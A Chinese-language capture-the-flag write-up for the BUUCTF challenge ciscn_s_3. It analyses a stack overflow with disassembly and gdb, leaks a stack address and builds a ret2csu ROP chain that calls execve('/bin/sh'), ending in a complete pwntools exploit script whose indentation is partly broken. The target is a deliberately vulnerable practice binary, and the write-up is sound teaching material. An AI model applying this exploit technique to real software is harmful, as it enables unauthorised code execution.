BUUCTF Ret2Csu ciscn_s_3

文章描述了一种利用栈溢出漏洞和gadget来构造ROP链,通过调用系统调用号执行execve,最终获取shell的方法。通过分析程序的汇编代码,确定了关键地址和系统调用号,然后利用gdb调试程序,计算偏移量,构造payload来泄露栈信息和控制流程,最终实现远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

经过几个月的假期都忘完了,趁着最近有点时间复健一下,顺便弄明白了不少以前还不会的东西。

Check & IDA Pro

源码分析

// Main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();    
}

// Vuln
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL); // 栈溢出漏洞
  return sys_write(1u, buf, 0x30uLL); // 打印输入的内容
}

// Gadgets
__int64 gadgets()
{
  return 15LL; // 需要看汇编才知道这里面藏了什么好东西
}

// Disassassemble
.text:00000000004004ED                               ; __unwind {
.text:00000000004004ED 55                            push    rbp
.text:00000000004004EE 48 89 E5                      mov     rbp, rsp
.text:00000000004004F1 48 31 C0                      xor     rax, rax
.text:00000000004004F4 BA 00 04 00 00                mov     edx, 400h                       ; count
.text:00000000004004F9 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:00000000004004FE 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400501 0F 05                         syscall                                 ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00 00 00          mov     rax, 1
.text:000000000040050A BA 30 00 00 00                mov     edx, 30h ; '0'                  ; count
.text:000000000040050F 48 8D 74 24 F0                lea     rsi, [rsp+buf]                  ; buf
.text:0000000000400514 48 89 C7                      mov     rdi, rax                        ; fd
.text:0000000000400517 0F 05                         syscall                                 ; LINUX - sys_write
.text:0000000000400519 C3                            retn                                     // 没有 leave 指令,不会清空栈内的数据 ebp 即为返回地址
// csu_front
.text:0000000000400580                               loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA                      mov     rdx, r13
.text:0000000000400583 4C 89 F6                      mov     rsi, r14
.text:0000000000400586 44 89 FF                      mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 48 83 C3 01                   add     rbx, 1
.text:0000000000400591 48 39 EB                      cmp     rbx, rbp
.text:0000000000400594 75 EA                         jnz     short loc_400580

// csu_rear
.text:0000000000400596                               loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08                   add     rsp, 8
.text:000000000040059A 5B                            pop     rbx
.text:000000000040059B 5D                            pop     rbp
.text:000000000040059C 41 5C                         pop     r12
.text:000000000040059E 41 5D                         pop     r13
.text:00000000004005A0 41 5E                         pop     r14
.text:00000000004005A2 41 5F                         pop     r15
.text:00000000004005A4 C3                            retn
.text:00000000004005A4                               ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4                               __libc_csu_init endp

// gadgets
.text:00000000004004D6                               public gadgets
.text:00000000004004D6                               gadgets proc near
.text:00000000004004D6                               ; __unwind {
.text:00000000004004D6 55                            push    rbp
.text:00000000004004D7 48 89 E5                      mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:00000000004004E1 C3                            retn
.text:00000000004004E1
.text:00000000004004E1                               gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                               ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00          mov     rax, 3Bh ; ';'
.text:00000000004004E9 C3                            retn
.text:00000000004004E9
.text:00000000004004E9                               ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                            db 90h
.text:00000000004004EB                               ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                            pop     rbp
.text:00000000004004EC C3                            retn
.text:00000000004004EC                               ; } // starts at 4004D6

其中gadgets为本题的要点。

0x4004E2: 将寄存器rax设置为0x3b并返回(ret),0x3b是execve的系统调用号。

也就是说 出题人已经帮我们写好了execve,我们只需要利用它即可。

这样我们可以得到的有用信息有:

csu_front = 0x400580

csu_rear = 0x40059A

execve = 0x4004E2

由于出题人已经给我们写好了execve,我们只需要利用他。

因此我们可以通过把'/bin/sh\x00'写入buf内,之后通过execve调用他。

我们需要使用gdb计算偏移,方法如下:

首先gdb调试文件,在main函数下断点

之后我们快速跳到vuln函数,然后输入:AAAA

然后我们输入指令: search AAAA

再输入指令: x /8gx 0x7fffffffdf70

圈出来的就是我们要进行计算的数据之一。

我们使用pwngdb带的指令: distance 0x7fffffffdf70 0x00007fffffffe098

偏移为 0x128

也可以使用Python进行计算

这里使用r12进行第一参数的传参,是因为本题比较特殊。

本题使用了 fastcall 调用约定。

fastcall,是优化函数调用过程中参数的传递,使函数调用更加高效。

在部分编译器中,如果函数使用了fastcall约定,那么前几个参数就会存储在寄存器中,而不是像普通函数一样在堆栈中传递参数。

fastcall除了调用方式不同以外,汇编代码完全相同。

构造EXP

Payload_Leak

先进行栈地址溢出,并计算偏移获取 /bin/sh 位置

我们可以使用Payload:

payload_leak = ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr)

这个Payload的意思是:

首先将 /bin/sh 字符串送入栈中
然后填充 8 个垃圾数据,并且覆盖返回地址,控制程序返回到vuln函数

这下我们发送了24个字节的数据,而buf只有16个字节那么大。

但是write从buf中读取了0x30,也就是48个字节的数据。

buf只有16个字节那么大,意思就是16个字节之后肯定是栈上的一些地址。

我们选择接收0x20大小的数据,也就是24个字节。因为buf的大小为0x10,write的大小为0x30,其中0x20的字节是没用的。

recv = io.recv(0x20)

然后我们接收后面的8个字节的数据,也就是我们的栈基址。

stack_addr = u64(io.recv(8))

/bin/sh 字符串地址和libc一样,通过溢出的栈基址减去偏移,即为字符串地址。也就是

binsh_addr = stack_addr - 0x128

至此泄露方面的Payload已构造完成,接下来我们使用Ret2Csu构造Payload的第二部分。

Payload_Shell

本题没有使用动态链接,因此我们无法使用任何已知的除了Ret2Csu的攻击方式。

我们首先关注几个重点,而上文已经提到了重点是什么:

通过百度可得,0FH和3BH是系统调用号,分别是:

stub_rt_sigreturn

stub_execve

用到 mov rax , 0FH 的解法暂时还不了解。因此我们选择 3BH

execve也是getshell的一种办法,通过构造 execve("/bin/sh",0,0) 我们也可以getshell。

那么接下来就是寻找gadget并构造的步骤。

我们利用系统调用,系统调用的编号存储在寄存器 rax 中,参数存储在寄存器 rdi,rsi,rdx 中

系统调用已有现成的gadget,0x3B即为execve的系统调用号。

然后依此赋值rdi,rsi,rdx寄存器

所以我们需要将r13、r14、r15d赋值为 0 , 0 , /bin/sh

作为execve的第一个参数,rdi需要存放 /bin/sh 字符串的地址,也就是binsh_addr

将rsi , rdi赋0,将返回地址覆盖为syscall的地址,但是我们在这发现了一个问题:

r15d 是r15d的一个低32位寄存器,同理edi也是。因此放不下 '/bin/sh\x00'

为了方便起见,我们直接从程序中找一段 pop rdi 出来替代csu_front的 mov edi , r15d 实现我们想要的效果。

正好有一个现成的,直接拿来用。

那么就是:

rbx = 0
rbp = 0
r12 = execve
r13 = 0
r14 = 0
r15 = 0

那么r12的 execve 是哪里得到的呢?

execve 为什么是binsh_addr + 0x10
是因为,在x86_64的调用约定中,参数从右往左依次排序
在栈中情况如下:
/bin/sh\x00
NULL
NULL
而本题是一道64位程序的题目,一个地址的大小是 8 个字节。
而 0x10 是 16 个字节,因此得出结论:
execve 是 binsh_addr + 0x10 的原因是因为这样可以顺利读取第一、第二个参数

因此可以得出结论:

execve = binsh_addr + 0x10

那么现在rdi也解决了,我们需要解决如何让程序控制流转移到csu_rear上。

很简单,只需要使用gadget函数即可:

我们只需要使用gadget的retn,即可直接将控制流转移到csu_rear上。

那么我们该在何处使用这个函数呢?

payload = b'/bin/sh\x00' + b'A'*0x8 + p64(execve_ret)
# 跟 ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr) 一样的手段
# 目的是 先将 /bin/sh 送入栈中,之后填充 8 字节的垃圾数据,随后进入execve系统调用函数
# 也就是gadgets函数,将 rax 赋值为 0x3BH
payload += p64(csu_rear)
# 然后通过gadgets函数的retn跳转至csu_rear函数,进行下一步攻击
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
# 进行 rbx rbp r12 r13 r14 r15 寄存器的赋值
payload += p64(csu_front)
# 赋值完后通过csu_rear函数的retn跳转到csu_front函数,进行下一步攻击
payload += b'A' * 0x38
# p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) 每一个都是8位,那么 6 * 8 = 48 = 0x30
# 还剩下一个 0x08 位于 p64(arg) 这就是为什么是 0x38。因为前面填充了padding后,总共占用了 0x38 的长度。
# 而因为 csu_front 的位置位于payload末尾,因此需要填充 0x38 的数据让arg对齐到RDI的位置。
payload += p64(rdi)
# 因为csu_front的 rdi 只有低32位,也就是r15d,edi 因此我们额外找一个pop rdi 的gadget
payload += p64(binsh_addr)
# 将binsh_addr,也就是binsh的地址送入rdi中
payload += p64(syscall)
# 系统调用,执行指令 execve("/bin/sh",0,0) 即可getshell

这就是我们完整Payload的思路。简化一下就是这样:

1.攻击vuln函数溢出buf,通过write函数打印泄露的栈基址

2.通过泄露的栈基址计算出buf地址,从而获取我们想要的偏移

3.再次攻击vuln函数,但是这次跳转到我们构建的csu函数中

4.通过通用gadget __libc_csu_init 等构造ROP获取shell

完整Payload

from pwn import *

io = process("/home/Kaguya/桌面/BUUCTF/ciscn_s_3")
elf = ELF("/home/Kaguya/桌面/BUUCTF/ciscn_s_3")

context.log_level = 'debug'

csu_rear = 0x40059A # 赋值rbx,rbp,r12,r13,r14,r15 以及return
csu_front = 0x400580 # 赋值rdx,rsi,edi 以及return
vuln_addr = elf.sym['vuln'] # 返回到vuln函数,方便下次攻击
rdi = 0x4005A3 # 由于 csu_front 内的edi只是个低32位寄存器,因此我们直接选择使用一个完整的rdi寄存器进行赋值
execve_ret = 0x04004E2 # execve系统调用,也就是 mov rax , 0x3BH 还有一个 return
syscall = 0x0400517 # 系统调用,放在最后进行

payload_leak = ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr)
# 首先将 /bin/sh 字符串送入栈中
# 然后填充 8 个垃圾数据,并且覆盖返回地址,控制程序返回到vuln函数
io.sendline(payload_leak)
log.success('Payload Leak: ' + str(payload_leak))
recv = io.recv(0x20)
# 接收 0x20 大小的数据,write函数一共读取 0x30 个字节出来。
stack_addr = u64(io.recv(8))
# 读取 0x20 后的 8 个字节的数据,即为write函数泄露出来的栈上的地址
binsh_addr = stack_addr - 0x128
# /bin/sh 的地址即为栈上的地址减去算出来的偏移
execve = binsh_addr + 0x10
# execve 为什么是binsh_addr + 0x10
# 是因为,在x86_64的调用约定中,参数从右往左依次排序
# 在栈中情况如下:
# /bin/sh\x00
# NULL
# NULL
# 而本题是一道64位程序的题目,一个地址的大小是 8 个字节。
# 而 0x10 是 16 个字节,因此得出结论:
# execve 是 binsh_addr + 0x10 的原因是因为这样可以顺利读取第一、第二个参数
log.success('Recving Messages: ' + str(recv))
log.success('Stack Address: ' + hex(stack_addr))
log.success('/bin/sh Address: ' + hex(binsh_addr))

def csu( rbx , rbp , r12 , r13 , r14 , r15 ):

payload = b'/bin/sh\x00' + b'A'*0x8 + p64(execve_ret)
# 跟 ( b'/bin/sh\x00') + ( b'A' * 8 ) + p64(vuln_addr) 一样的手段
# 目的是 先将 /bin/sh 送入栈中,之后填充 8 字节的垃圾数据,随后进入execve系统调用函数
# 也就是gadgets函数,将 rax 赋值为 0x3BH
payload += p64(csu_rear)
# 然后通过gadgets函数的retn跳转至csu_rear函数,进行下一步攻击
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
# 进行 rbx rbp r12 r13 r14 r15 寄存器的赋值
payload += p64(csu_front)
# 赋值完后通过csu_rear函数的retn跳转到csu_front函数,进行下一步攻击
payload += b'A' * 0x38
# p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) 每一个都是8位,那么 6 * 8 = 48 = 0x30
# 还剩下一个 0x08 位于 p64(arg) 这就是为什么是 0x38。因为前面填充了padding后,总共占用了 0x38 的长度。
# 而因为 csu_front 的位置位于payload末尾,因此需要填充 0x38 的数据让arg对齐到RDI的位置。
payload += p64(rdi)
# 因为csu_front的 rdi 只有低32位,也就是r15d,edi 因此我们额外找一个pop rdi 的gadget
payload += p64(binsh_addr)
# 将binsh_addr,也就是binsh的地址送入rdi中
payload += p64(syscall)
# 系统调用,执行指令 execve("/bin/sh",0,0) 即可getshell
io.send(payload)
sleep(1)

csu( 0 , 1 , execve , 0 , 0 , 0 )
# rbx = 0 , rbp = 1 , r12 = execve , r13 = 0 , r14 = 0 , r15 = 0
# rdx = 0 , rsi = 0 , edi = 0
io.interactive()                                                                          
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值